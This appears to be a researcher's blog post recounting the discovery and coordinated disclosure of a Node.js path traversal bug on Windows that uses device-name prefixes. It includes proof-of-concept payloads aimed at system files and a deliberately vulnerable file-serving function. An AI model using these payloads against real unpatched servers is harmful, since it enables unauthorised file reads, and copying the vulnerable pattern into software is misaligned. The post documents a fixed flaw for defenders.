CVE-2025-27210: Finding a Path Traversal Bug in Node.js
TL;DR
I found a path traversal bug in Node.js that lets attackers escape directory restrictions on Windows by using device names like CON, PRN, or AUX. Got CVE-2025-27210 for it. Here’s how it went down.
The Beginning
Back in May 2025, I was looking for bugs in popular open source projects. Node.js seemed like a good target it’s everywhere, from small startups to huge companies. If you find a bug there, the impact is massive
I cloned the repo and started poking around:
git clone https://github.com/nodejs/node.git
cd node
The codebase is huge. Where to start? I decided to look at the path module since it handles user input and file paths , always a good place to find security bugs.
Following the Trail
I was reading through recent security fixes when I noticed something interesting. There was a patch for CVE-2025-23084 about path traversal on Windows:
git show 8306457110
The commit message said something about Windows considering relative paths as absolute in rare cases. That got me thinking , what other Windows weirdness might be lurking in there?
The Discovery
I started playing with Windows-specific path functions. Windows has these special device names - CON, PRN, AUX, NUL, COM1-9, LPT1-9. They’re legacy stuff from the DOS days.
What happens if you mix these with path traversal sequences? Let me show you:
const path = require('path');
// Normal path traversal attempt - gets normalized correctly
console.log(path.normalize('../../../etc/passwd'));
// Output: ../../../etc/passwd (still safe)
// But with a device name...
console.log(path.win32.normalize('CON:../../../etc/passwd'));
// Output: ..\..\etc\passwd (wait, where did CON go??)
The device name just… disappeared. And left the traversal part intact.
Why This is Bad
Here’s a typical vulnerable code pattern I see in web apps:
function serveUserFile(filename) {
// Developer thinks normalize makes it safe
const safePath = path.normalize(filename);
const fullPath = path.join('/app/uploads', safePath);
return fs.readFileSync(fullPath);
}
If someone sends CON:../../../../windows/system32/drivers/etc/hosts, here’s what happens:
normalize()turns it into..\..\windows\system32\drivers\etc\hostsjoin()combines it:/app/uploads/../../windows/system32/drivers/etc/hosts- Which resolves to…
/windows/system32/drivers/etc/hosts
Boom. Directory traversal
Testing the Theory
I wrote a quick test script to confirm:
const path = require('path');
const attacks = [
'CON:../../../../windows/win.ini',
'PRN:../../../etc/passwd',
'AUX:..\\..\\..\\sensitive.txt',
'COM1:../../../boot.ini'
];
attacks.forEach(input => {
const normalized = path.win32.normalize(input);
const final = path.win32.join('C:\\app\\data', normalized);
console.log(`${input} -> ${final}`);
});
Every single one escaped the intended directory. The bug was real
Root Cause
I dug into the Node.js source code. The problem was in the isWindowsDeviceRoot() function:
function isWindowsDeviceRoot(code) {
return (code >= CHAR_UPPERCASE_A && code <= CHAR_UPPERCASE_Z) ||
(code >= CHAR_LOWERCASE_A && code <= CHAR_LOWERCASE_Z);
}
It only checks if something is a letter (like C: or D:). Nobody thought to check for the special device names. Classic oversight.
The Report
I wrote up a detailed report and submitted it through Node.js’s HackerOne program in May 2025. Included the PoC, impact analysis, and suggested fix
The timeline went like this:
- May 23, 2025: Submitted the report
- May 27, 2025: Report triaged as High severity (7.5)
- Next few weeks: Back and forth with the Node.js security team
- July 15, 2025: Fix released, CVE-2025-27210 assigned
The Fix
Node.js added proper validation for Windows device names. Now when you try CON:../../../whatever, it returns .\\..\\etc\\passwd - starting with .\\ which keeps you in the current directory.
They fixed it in:
- Node.js 20.x
- Node.js 22.x
- Node.js 24.x
Lessons Learned
- Old features cause new bugs - These device names are from the 1980s, but they’re still causing security issues in 2025
- Check the edge cases - Everyone tests
../../../etc/passwd, but who testsCON:../../../etc/passwd? - Read previous security fixes - That’s what led me down this path (pun intended)
Impact
This bug affected pretty much every Node.js app on Windows that takes user input for file paths. That’s… a lot of apps. File upload features, static file servers, anywhere that processes paths.
The good news? Most apps run on Linux servers where this specific bug doesn’t work. But with more companies using Windows servers and developers using Windows machines, it’s still significant.
Conclusion
Sometimes the best bugs are hiding in plain sight. This wasn’t some complex memory corruption or race condition. Just an old Windows quirk that nobody thought to handle.
If you’re doing security research, my advice is: dig into the weird legacy stuff. That’s where the fun bugs live.
And always, always sanitize your paths properly. Don’t trust normalize() to save you
Found this interesting? I write about my security research adventures on this blog. Feel free to reach out if you want to collaborate on finding bugs!